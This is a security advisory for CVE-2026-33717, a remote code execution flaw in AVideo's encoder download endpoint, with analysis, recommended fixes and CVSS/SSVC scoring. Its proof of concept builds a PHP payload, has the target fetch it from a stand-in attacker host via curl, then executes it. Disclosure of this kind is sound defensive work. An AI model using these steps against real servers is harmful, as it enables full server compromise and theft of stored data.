Advisory details:
github_osv / GHSA-8wf4-c4x3-h952
| Advisory ID | github_osv/GHSA-8wf4-c4x3-h952 |
| Aliases |
CVE-2026-33717
|
| Summary | AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL ## Summary The `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. ## Details The vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations. **Step 1 — File download preserves dangerous extension:** In `objects/aVideoEncoder.json.php`, when a `downloadURL` parameter is provided, the file is downloaded and saved with the URL's original basename: ```php // objects/aVideoEncoder.json.php:361-365 $_FILES['video']['name'] = basename($downloadURL); // preserves .php extension $temp = Video::getStoragePath() . "cache/tmpFile/" . $_FILES['video']['name']; make_path($temp); $bytesSaved = file_put_contents($temp, $file); ``` The `format` parameter (validated against `$global['allowedExtension']` at line 42) is only used later for the *final* destination filename (line 238), not for the temp file. The temp file uses `basename($downloadURL)` directly, allowing any extension including `.php`. **Step 2 — Resolution validation aborts after file write:** After the file is downloaded and written to disk (line 156), the resolution is validated: ```php // objects/aVideoEncoder.json.php:229-233 if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) { $msg = "This resolution is not possible {$_REQUEST['resolution']}"; _error_log($msg); forbiddenPage($msg); // calls die() — execution stops here } ``` The `forbiddenPage()` function (in `objects/functionsSecurity.php:567-573`) detects the JSON content type set at line 26 and calls `die()`: ```php if (empty($unlockPassword) && isContentTypeJson()) { // ... die(json_encode($obj)); // line 573 — execution terminates } ``` **Step 3 — Cleanup never reached:** The `decideMoveUploadedToVideos()` call at line 243, which would move the temp file to its final destination with the safe `format` extension, is never reached because `forbiddenPage()` terminates execution first. **Step 4 — No execution restrictions on temp directory:** The `videos/cache/tmpFile/` directory has no `.htaccess` file restricting PHP execution. The root `.htaccess` `FilesMatch` on line 73 blocks extensions matching `php[a-z0-9]+` (e.g., `.php5`, `.phtml`) but does **not** match plain `.php`. ## PoC **Prerequisites:** An authenticated user account with `canUpload` permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size. **Step 1 — Prepare the PHP payload (on attacker server):** ```bash # Create a PHP webshell padded to >=20KB to pass the minimum size check python3 -c " payload = b'<?php echo \"RCE:\".php_uname(); ?>' padding = b'\n' + b'/' * (20001 - len(payload)) open('shell.php', 'wb').write(payload + padding) " # Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php) ``` **Step 2 — Trigger the download with invalid resolution:** ```bash curl -X POST 'https://target.example.com/objects/aVideoEncoder.json.php' \ -d 'user=uploader_username' \ -d 'pass=uploader_password' \ -d 'format=mp4' \ -d 'downloadURL=https://attacker.example.com/shell.php' \ -d 'resolution=9999' ``` Expected response: `{"error":true,"msg":"This resolution is not possible 9999","forbiddenPage":true}` **Step 3 — Access the persisted PHP file:** ```bash curl 'https://target.example.com/videos/cache/tmpFile/shell.php' ``` Expected output: `RCE:Linux target 5.15.0-...` — confirming arbitrary PHP code execution on the server. ## Impact An authenticated user with standard upload permissions can achieve **Remote Code Execution** on the server. This allows: - Full server compromise — read/write arbitrary files, execute system commands - Access to database credentials and all stored user data - Lateral movement to other services on the same network - Modification or destruction of all video content and platform configuration - Use of the server as a pivot point for further attacks The attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application's normal upload/video processing logs beyond the download attempt. ## Recommended Fix **Fix 1 (Primary) — Validate file extension in `downloadVideoFromDownloadURL()`:** ```php // objects/aVideoEncoder.json.php — in downloadVideoFromDownloadURL(), after line 360 function downloadVideoFromDownloadURL($downloadURL) { global $global, $obj; $downloadURL = trim($downloadURL); // ... existing SSRF check ... // NEW: Validate the file extension against allowed extensions $urlExtension = strtolower(pathinfo(parse_url($downloadURL, PHP_URL_PATH), PATHINFO_EXTENSION)); if (!in_array($urlExtension, $global['allowedExtension'])) { __errlog("aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: " . $urlExtension); return false; } // ... rest of function ... } ``` **Fix 2 (Defense in depth) — Move resolution validation before file download:** ```php // objects/aVideoEncoder.json.php — move lines 227-236 to BEFORE line 154 // Validate resolution BEFORE downloading anything if (!empty($_REQUEST['resolution'])) { if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) { $msg = "This resolution is not possible {$_REQUEST['resolution']}"; _error_log($msg); forbiddenPage($msg); } } // Then proceed with download... ``` **Fix 3 (Defense in depth) — Add `.htaccess` to temp directory:** Create `videos/cache/tmpFile/.htaccess`: ```apache # Deny execution of all scripts in temp directory <FilesMatch "\.(?i:php|phtml|phar|php[0-9]|shtml)$"> Require all denied </FilesMatch> php_flag engine off ``` |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.9 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 8.8 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-8wf4-c4x3-h952/GHSA-8wf4-c4x3-h952.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/WWBN/AVideo | ||
| 6da79b43484099a0b660d1544a63c07b633ed3a2 | Other | https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2 |
| CVE-2026-33717 | https://nvd.nist.gov/vuln/detail/CVE-2026-33717 | |
| GHSA-8wf4-c4x3-h952 | Other | https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-03-24T16:08:37Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/33xxx/CVE-2026-33717.json
Source Advisory: vulnrichment/CVE-2026-33717
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]